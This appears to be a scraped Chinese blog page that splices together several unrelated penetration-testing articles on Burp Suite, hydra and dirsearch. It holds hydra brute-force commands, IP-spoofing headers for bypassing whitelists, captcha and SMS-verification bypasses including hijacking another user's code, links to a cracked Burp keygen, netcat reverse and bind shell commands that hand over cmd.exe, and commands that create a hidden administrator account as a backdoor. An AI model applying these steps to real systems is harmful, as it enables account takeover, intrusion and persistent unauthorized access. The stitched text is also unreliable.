渗透测试工程师前景_渗透测试brup

hacker|
206

弱口令扫描操作

弱口令扫描操作手册

 

一、弱口令简介

弱口令目前没有严格和准确的定义,通常认为容易被别人猜测或被破解工具破解的口令即为弱口令。对弱口令的定义为,不满足以下五项条件之一即为弱口令:

1、口令长度应至少8位;

2、口令应包括数字、小写字母、大写字母、特殊符号4类中至少3类;

3、口令应与用户名无相关性,口令中不得包含用户名的完整字符串、大小写变位或形似变换的字符串;

4、应更换系统或设备的出厂默认口令;

5、口令设置应避免键盘排序密码;

二、弱口令类型

目前常见的弱口令类型有TELNET、SSH、SNMP、FTP、MYSQL、MSSQL、ORACL、HTTP等。其中TELNET、SSH、FTP、MYSQL、MSSQL、ORACLE、HTTP等为TCP协议,都是通过用户名+密码的形式登录;SNMP为UDP协议,通过community字符串登录即可。

三、弱口令字典

弱口令检查一般都是通过自动化工具批量进行,主要的难点在于字典的构造。通常来说,字典越大,扫描的效果就越好,但是扫描花费的时间也会越长,所以我们需要根据自己的任务紧急程度选择不同大小的字典。

移动互联网行业,拥有很多网络设备,所以我们需要结合设备本身的特性来优化字典。比如某网络设备的默认用户名是useradmin,默认密码是admin!@#$%^,此时我们就应该检查自己的用户名字典和弱口令字典中是否包含以上字符串,如果没有就应该将其加入到字典中。

四、工具介绍

硬件扫描器:绿盟RSAS

绿盟远程安全评估系统(NSFOCUS Remote Security Assessment System 简称:NSFOCUS RSAS)是国内一款常见的漏洞扫描工具,它的“口令猜测任务”模块即可对各协议进行专门的弱口令扫描。

1、 [登录扫描器,选择“新建任务”

2、 选择“口令猜测任务”,并输入扫描目标(可以直接输入扫描地址,也可通过文件导入)

3、 选择需要扫描的协议类型,如FTP、SSH等,然后选择需要使用的字典。

4、根据任务需求选择配置其他选项(或者保持默认配置),最后选择确定即可。

在新建任务的过程中,如果我们选择“密码字典管理”选项,还可以新建一个自己的独特字典。

l  开源扫描器:hydra

hydra是一款开源的弱口令扫描神器,它可以在windows、linux、OSX等多个平台上运行,它支持几乎所有常见协议的弱口令扫描。

1、hydra语法

hydra[[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns] [-o FILE] [-tTASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV] server service[OPT]

-R

继续从上一次进度接着破解

-S

大写,采用SSL链接

-s

小写,可通过这个参数指定非默认端口

-l

指定破解的用户,对特定用户破解

-L

指定用户名字典

-p

小写,指定密码破解,少用,一般是采用密码字典

-P

大写,指定密码字典

-e

可选选项,n:空密码试探,s:使用指定用户和密码试探

-C FILE

使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数

-M FILE

指定目标列表文件一行一条

-o FILE

指定结果输出文件

-f

在使用-M参数以后,找到第一对登录名或者密码的时候中止破解

-t TASKS

同时运行的线程数,默认为16

-w TIME

设置最大超时的时间,单位秒,默认是30s

-v/  -V

显示详细过程

server

目标ip

service

指定服务名,支持的服务和协议:telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http[s]-{head|get}http-{get|post}-form  http-proxy ciscocisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener  postgres nntp socks5 rexec rlogin pcnfs snmprsh cvs svn icq sapr3 ssh2 smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp等等

OPT

可选项

[if !supportLists] 2、 [endif]使用范例

 

扫描SSH 弱口令

# hydra-L users.txt -P password.txt -t 1 -vV -e ns 192.168.1.104 ssh

-L 指定用户名字典(一行一个用户名字符串),-P指定密码字典(一行一个密码字符串),-t 指定线程数为1,-vV设置显示详细扫描过程,-e 设置使用空口令试探,最后是要扫描的IP地址和协议类型。

 

扫描SNMP 弱口令

 

#hydra-P snmppwd.txt -M ip.txt -o save.log snmp

-P 指定密码字典,-M指定目标IP文件(一行一个IP地址),-o指定结果输出文件,最后指定扫描协议SNMP。

专用扫描器:Tomcat弱口令扫描器

“Apache tomcat弱口令扫描器”是一款专用的tomcat弱口令扫描器,可以灵活的配置扫描IP、端口、用户名和字典等。

1、简单扫描整个网段

在“起始IP”中填入开始IP,在“终止IP”中填入结束IP,然后点击“添加”(可多次添加),最后点击“开始”即可。

2、高级设置:配置用户名和字典等

点击“设置”进入设置页面:

在设置页面可以导入自己的个性化“用户名”和“密码字典”,同时也可以通过文件导入要扫描的IP,配置好相关选项后,点击开始即可扫描。

 

专用扫描器:Burp Suite

Burp Suite是一款web渗透测试神器,可以测试SQL注入、XSS等各种漏洞,同时我们也可以使用它对WEB登录页面进行弱口令测试。

1、打开Burp Suite,配置监听端口,并在浏览器中设置代理为上述端口,如下图为8080。

2、使用浏览器打开需要测试的页面,并使用Burp Suite抓取登录请求。

3、选中请求,鼠标右键,选择“Send to Intruder”

4、在“Positions”标签下,选择需要暴力破解的字段

5、在“Payloads”标签下选择弱口令字典文件

6、点击开始攻击,通过比较应答的大小等方式获取破解成功的弱口令(此例中为password)。

跪求Burp Suite Pro(电脑渗透测试软件) V2021.5 免费版软件百度云资源

链接:

提取码:yq1q

软件名称:BurpSuitePro(电脑渗透测试软件)V2021.5免费版

语言:简体中文

大小:190.23MB

类别:系统工具

介绍:BurpSuit是一款功能强大的渗透测试工具,拥有Proxy、Spider、Scanner、Intruder、Repeater、Sequencer等等多种工具,并为这些工具设计了许多接口,可以促进加快攻击应用程序的过程。使用这款软件可以快速发现自己的电脑是否出现问题,及时解决保证电脑的安全。

Burp Suite及dirsearch介绍

近期在学习CTF相关知识,所以新开一个相关内容的专辑来边学习边记笔记。

参考文章

Burp Suite 是用于渗透 web 应用程序的集成平台。它包含了许多工具,并为这些工具设计了许多接口,以促进加快攻击应用程序的过程。所有的工具都共享一个能处理并显示HTTP 消息,持久性,认证,代理,日志,警报的一个强大的可扩展的框架。

当我们启动 Burp Suite 时,默认会监听本地回路地址的 8080 端口,除此之外,我们也可以在默认监听的基础上,根据我们自己的需求,对监听端口和地址等参数进行自由设置。特别是当我们测试非浏览器应用时,无法使用浏览器代理的方式去拦截客户端与服务器端通信的数据流量,这种情况下,我们会使用自己的Proxy监听设置,而不会使用默认设置。

在渗透测试过程中,我们经常使用Repeater来进行请求与响应的消息验证分析,比如修改请求参数,验证输入的漏洞;修改请求参数,验证逻辑越权;从拦截历史记录中,捕获特征性的请求消息进行请求重放。Burp Repeater的操作界面如下图所示:

在渗透测试过程中,我们经常使用Burp Intruder,它的工作原理是:Intruder在原始请求数据的基础上,通过修改各种请求参数,以获取不同的请求应答。每一次请求中,Intruder通常会携带一个或多个有效攻击载荷(Payload),在不同的位置进行攻击重放,通过应答数据的比对分析来获得需要的特征数据。

详细步骤见:

使用 python dirsearch.py -h 可以查看到各种命令

以192.168.52.143环境为例:

常用: python dirsearch.py -u -e *

-u:url

-e:-e EXTENSIONS, --extensions=EXTENSIONS。扩展名列表用逗号隔开(例如:php,asp)

web渗透测试之攻破登录页面

当我们在做渗透测试时,无论厂商项目还是src众测项目,都会遇到给一堆登录系统的URL,然后让我们自己去测,能不能进去全看天的状况,本文将讲一下怎么突破这种封闭的web系统,从而进行更深层次的渗透 ,学完后你会发现,其实你就是系统管理员。

如果能直接绕过登录系统界面,后面的就比较好做了,目前常见的登录系统绕过方法有:

大部分情况下,系统登录页面都不存在xss,目录遍历,SQL注入等漏洞,这时候最常用的方法就是爆破和猜解登录口令,密码猜解最关键的就是字典要高效准确

https:// down.52pojie.cn/Tools/N etwork_Analyzer/Burp_Suite_Pro_v1.7.31_Loader_Keygen.zip

2.准确的用户名,密码字典是高效破解的重中之重 ,一般都是指定几个常见用户名 ,尝试 top500,top1000进行爆破 字典不必要太大,最重要的是针对性要强 ,下面是top1000:

链接: https:// pan.baidu.com/s/1-XztuB 8YTfpT5aUBVbmbzA 密码: 56pb

3.如果还是不能猜解成功,就要根据目标信息用字典生成器构造针对性的字典来猜解了,推 荐几个比较好的字典生成工具

pydictor:

LandGrey/pydictor

crunch:

crunch - wordlist generator

Cewl:

digininja/CeWL

Cupp:

Mebus/cupp

因为管理员权限较高,通常我都会先进行管理员口令的猜解,总结了一些常见的管理员用户名字典

u链接:/u u https:// pan.baidu.com/s/1sOD1-u whnStaw_LfMOf-sQ /uu密码: 3yqe/u

用此用户名字典,再加上弱口令top1000,同时爆破系统管理员用户名密码

链接: https:// pan.baidu.com/s/1-XztuB 8YTfpT5aUBVbmbzA 密码: 56pb

常见的普通用户用户名是姓名拼音,总结了普通用户字典

TOP3000姓名

u链接:/u u https:// pan.baidu.com/s/1qN9kCF tymP4ugvu3FFkKbA /uu密码: hkzp/u

TOP10w姓名

https:// github.com/rootphantome r/Blasting_dictionary/blob/master/top10W.txt

通常可以选择几个弱口令密码,比如:123456,123abc,111111,然后配合top10w来猜解登陆口令,一些初始化的默认密码也很简单,如果能找到配合top10w通常也能爆出登录口令

现在的业务系统口令传输到后端前都会进行加密处理 ,web常见的加密方式有 md5 加密、sha1 加密、RSA 加密,在此基础上总结了两种破解方式:

1.利用burpsuite的payload processing功能,把字典按照加密方式先加密再发包

2.用字典生成工具生成加密好的字典,然后burp直接加载加密字典

这里推荐的字典生成工具是pydictor,encode功能内置了多种加密算法,调用handler工具直接加密自己的明文字典

如果登录系统设置了IP地址白名单,我们可以通过下面的几个http头字段伪造IP地址,用burp抓包后将下面的某个http头字段加入数据包发送到服务器

pre class="0605-913c-0cd5-f141 prettyprint hljs css" style="padding: 0.5em; font-family: Menlo, Monaco, Consolas, "Courier New", monospace; color: rgb(68, 68, 68); border-radius: 4px; display: block; margin: 0px 0px 1.5em; font-size: 14px; line-height: 1.5em; word-break: break-all; overflow-wrap: break-word; white-space: pre; background-color: rgb(246, 246, 246); border: none; overflow-x: auto;"Client-Ip: 127.0.0.1

X-Client-IP: 127.0.0.1

X-Real-IP: 127.0.0.1

True-Client-IP: 127.0.0.1

X-Originating-IP: 127.0.0.1

X-Forwarded-For: 127.0.0.1

X-Remote-IP: 127.0.0.1

X-Remote-Addr: 127.0.0.1

X-Forwarded-Host: 127.0.0.1/pre

如果在系统登陆界面加上了验证码,那么上面的方法基本上就都失效了,那有什么方法可以绕过验证呢

1.图形验证码不刷新

在一段时间内只要不刷新页面,无论登录失败多少次都不刷新验证码,这个时候就可以使用同一个验证码根据上面的方式进行暴力破解

2.验证码失效

不管在验证码表单输入什么样的数据,都会判断通过,但这种情况很少见

3.图形验证码可被识别,抓包直接可以获得验证码

很多网站的验证码都可以在请求数据包中找到,或者隐藏在request的cookie中,response的源码中,可以利用burpsuite的macros来匹配response中的相应数据,具体的爆破方法参见下文:

burpsuite爆破密码(含验证码) - CSDN博客

4.图形验证码参数直接绕过

对于request数据: user=adminpass=1234vcode=brln,有两种绕过方法:

一是验证码空值绕过,改成 user=adminpass=1234vcode=;

一是直接删除验证码参数,改成 user=adminpass=1234。

5.万能验证码

渗透测试的过程中,有时候会出现这种情况,系统存在一个万能验证码,如0000、9999,只要输入万能验证码,就可以无视验证码进行暴力破解。

6. 验证码可被识别

有些图形验证码加入的像素线条过于简单,使用图形验证码识别工具可以识别出每次更换的验证码,在平常的漏洞挖掘过程中,如果我们发现登录的验证码非常简单且易于识别,那我们就可以尝试使用自动化工具来进行登录破解了,如 PKAV 的 HTTP Fuzzer

7.使用机器学习算法识别验证码

主要是对特定网站的图形验证码训练识别模型,达到一定的准确率就可以调用进行模拟提交图形验证码的值了。可参考以下三篇文章进行学习:

使用KNN算法识别验证码:

http:// nladuo.github.io/2016/0 9/22/%E9%AA%8C%E8%AF%81%E7%A0%81%E7%A0%B4%E8%A7%A3%E6%8A%80%E6%9C%AF%E5%9B%9B%E9%83%A8%E6%9B%B2%E4%B9%8B%E4%BD%BF%E7%94%A8K%E8%BF%91%E9%82%BB%E7%AE%97%E6%B3%95/

卷积神经网络识别验证码

http:// nladuo.github.io/2016/0 9/23/%E9%AA%8C%E8%AF%81%E7%A0%81%E7%A0%B4%E8%A7%A3%E6%8A%80%E6%9C%AF%E5%9B%9B%E9%83%A8%E6%9B%B2%E4%B9%8B%E4%BD%BF%E7%94%A8%E5%8D%B7%E7%A7%AF%E7%A5%9E%E7%BB%8F%E7%BD%91%E7%BB%9C/

使用 TensorFlow 训练验证码

http:// nladuo.github.io/2017/0 4/10/%E4%BD%BF%E7%94%A8TensorFlow%E8%AE%AD%E7%BB%83Weibo-cn%E9%AA%8C%E8%AF%81%E7%A0%81/

对于网站要求输入手机号,接收手机短信并校验短信验证码是否正确进行登录的系统,突破的主要思路有:

1.短信验证码生命期限内可暴力枚举

在验证码还未过期的时间段内,可枚举全部的纯四位数字、六位数字等较简单的短信验证码;

2. 短信验证码在数据包中返回

和图形验证码一样,在response中可以直接获取到短信验证码。

3. 修改请求数据包参数或 Cookie 值绕过

比如有 post 数据包:mobile=12435437658userid=123456, Cookie中有:codetype=1

在特定步骤,修改 mobile=自己的手机号,自己手机就可以收到别人的验证码,后面再用别人的手机号和接收到的验证码登录;

修改 Cookie 中可疑的参数和值,进行绕过,比如上面修改 codetype=0;

4. 修改返回包绕过

提交错误的短信验证码,返回包中有: status=false,在Burpsuite中修改为 status=true,即可绕过前端判断,成功进入系统。具体还要结合实际的场景,灵活操作。

web系统登陆页面看似铜墙铁壁,但其实只要梳理一遍思路,右键看过每一行网站源码,弄懂每个参数的意义,查看每一个js文件,就会发现其实自己就是系统管理员,只是我把密码忘了,现在我要用上面的方式进入。

web渗透是什么?

Web渗透测试分为白盒测试和黑盒测试,白盒测试是指目标网站的源码等信息的情况下对其渗透,相当于代码分析审计。而黑盒测试则是在对该网站系统信息不知情的情况下渗透,以下所说的Web渗透就是黑盒渗透。

Web渗透分为以下几个步骤,信息收集,漏洞扫描,漏洞利用,提权,内网渗透,留后门,清理痕迹。一般的渗透思路就是看是否有注入漏洞,然后注入得到后台管理员账号密码,登录后台,上传小马,再通过小马上传大马,提权,内网转发,进行内网渗透,扫描内网c段存活主机及开放端口,看其主机有无可利用漏洞(nessus)端口(nmap)对应服务及可能存在的漏洞,对其利用(msf)拿下内网,留下后门,清理痕迹。或者看是否有上传文件的地方,上传一句话木马,再用菜刀链接,拿到数据库并可执行cmd命令,可继续上大马.........思路很多,很多时候成不成功可能就是一个思路的问题,技术可以不高,思路一定得骚。

信息收集

信息收集是整个流程的重中之重,前期信息收集的越多,Web渗透的成功率就越高。

DNS域名信息:通过url获取其真实ip,子域名(Layer子域名爆破机),旁站(K8旁站,御剑1.5),c段,网站负责人及其信息(whois查询)

整站信息:服务器操作系统、服务器类型及版本(Apache/Nginx/Tomcat/IIS)、数据库类型(Mysql/Oracle/Accees/Mqlserver)、脚本类型(php/jsp/asp/aspx)、CMS类型;

网站常见搭配为:

ASP和ASPX:ACCESS、SQLServer

PHP:MySQL、PostgreSQL

JSP:Oracle、MySQL

敏感目录信息(御剑,dirbust)

开放端口信息(nmp)

漏洞扫描

利用AWVS,AppScan,OWASP-ZAP,等可对网站进行网站漏洞的初步扫描,看其是否有可利用漏洞。

常见漏洞:

SQL注入

XSS跨站脚本

CSRF跨站请求伪造

XXE(XML外部实体注入)漏洞

SSRF(服务端请求伪造)漏洞

文件包含漏洞

文件上传漏洞

文件解析漏洞

远程代码执行漏洞

CORS跨域资源共享漏洞

越权访问漏洞

目录遍历漏洞和任意文件读取/下载漏洞

漏洞利用

用工具也好什么也好对相应漏洞进行利用

如:

Sql注入(sqlmap)

XSS(BEEF)

后台密码爆破(burp)

端口爆破(hydra)

提权

获得shell之后我们权限可能很低,因此要对自己提权,可以根据服务器版本对应的exp进行提权,对于Windows系统也可看其补丁对应漏洞的exp进行提权

内网渗透

首先进行端口转发可用nc

nc使用方法:

反向连接

在公网主机上进行监听:

nc-lvp 4444

在内网主机上执行:

nc-e cmd.exe 公网主机ip4444

成功之后即可得到一个内网主机shell

正向连接

远程主机上执行:

nc-l -p 4444 -t -e cmd.exe

本地主机上执行:

nc-vv 远程主机ip4444

成功后,本地主机即可远程主机的一个shell

然后就是对内网进行渗透了,可以用主机漏洞扫描工具(nessus,x-scan等)进行扫描看是否有可用漏洞,可用msf进行利用,或者用nmap扫描存活主机及开放端口,可用hydra进行端口爆破或者用msf对端口对应漏洞得到shell拿下内网留后门

留后门

对于网站上传一句话木马,留下后门

对于windows用户可用hideadmin创建一个超级隐藏账户

手工:

netuser test$ 123456 /add

netlocalgroup administrators test$ /add

这样的话在cmd命令中看不到,但在控制面板可以看到,还需要改注册表才能实现控制版面也看不到,太过麻烦,不多赘述,所以还是用工具省心省力。

Burp Suite开局怎么设置?

啥是Burp Suite?有啥用?

不告诉你,有兴趣自己去摆渡。

Burp Suite 是一个用于web渗透测试的集成平台,长得大概如下图所示:

第一次用要设置什么?如下:Proxy-Options-Add-127.0.0.1:8080

然后去你常用的浏览器里改下代理设置,如下:

然后就可以拦截网站了,浏览器打开你要上的网址,BP(简称)就会开始自动拦截,如下(插播一个知识点:就在笔者为了在没安装任何截图工具的电脑上截个图而发愁的时候,突然发现搜狗输入法居然自带截图功能,我特么2G了……在搜狗输入法的工具箱里,还可以设置快捷键):

页面功能说明:

Forward-就是将我们拦截修改后的数据包继续发送到服务端,令服务端继续处理并返回信息

Drop- 表示丢弃当前拦截的数据包

Interception is on/off- ON代表了开启拦截功能,相反OFF代表关闭拦截的功能

Action-将当前拦截数据包继续发送到spider,scanner等模块进行进一步测试

当我们开始拦截数据包时,我们可以在Intercept选项卡中查看该数据包。

OK,今天就分享到这里。

PS:不用了记得把浏览器的代理改回去,不然上不了网的,切记!

0条大神的评论

发表评论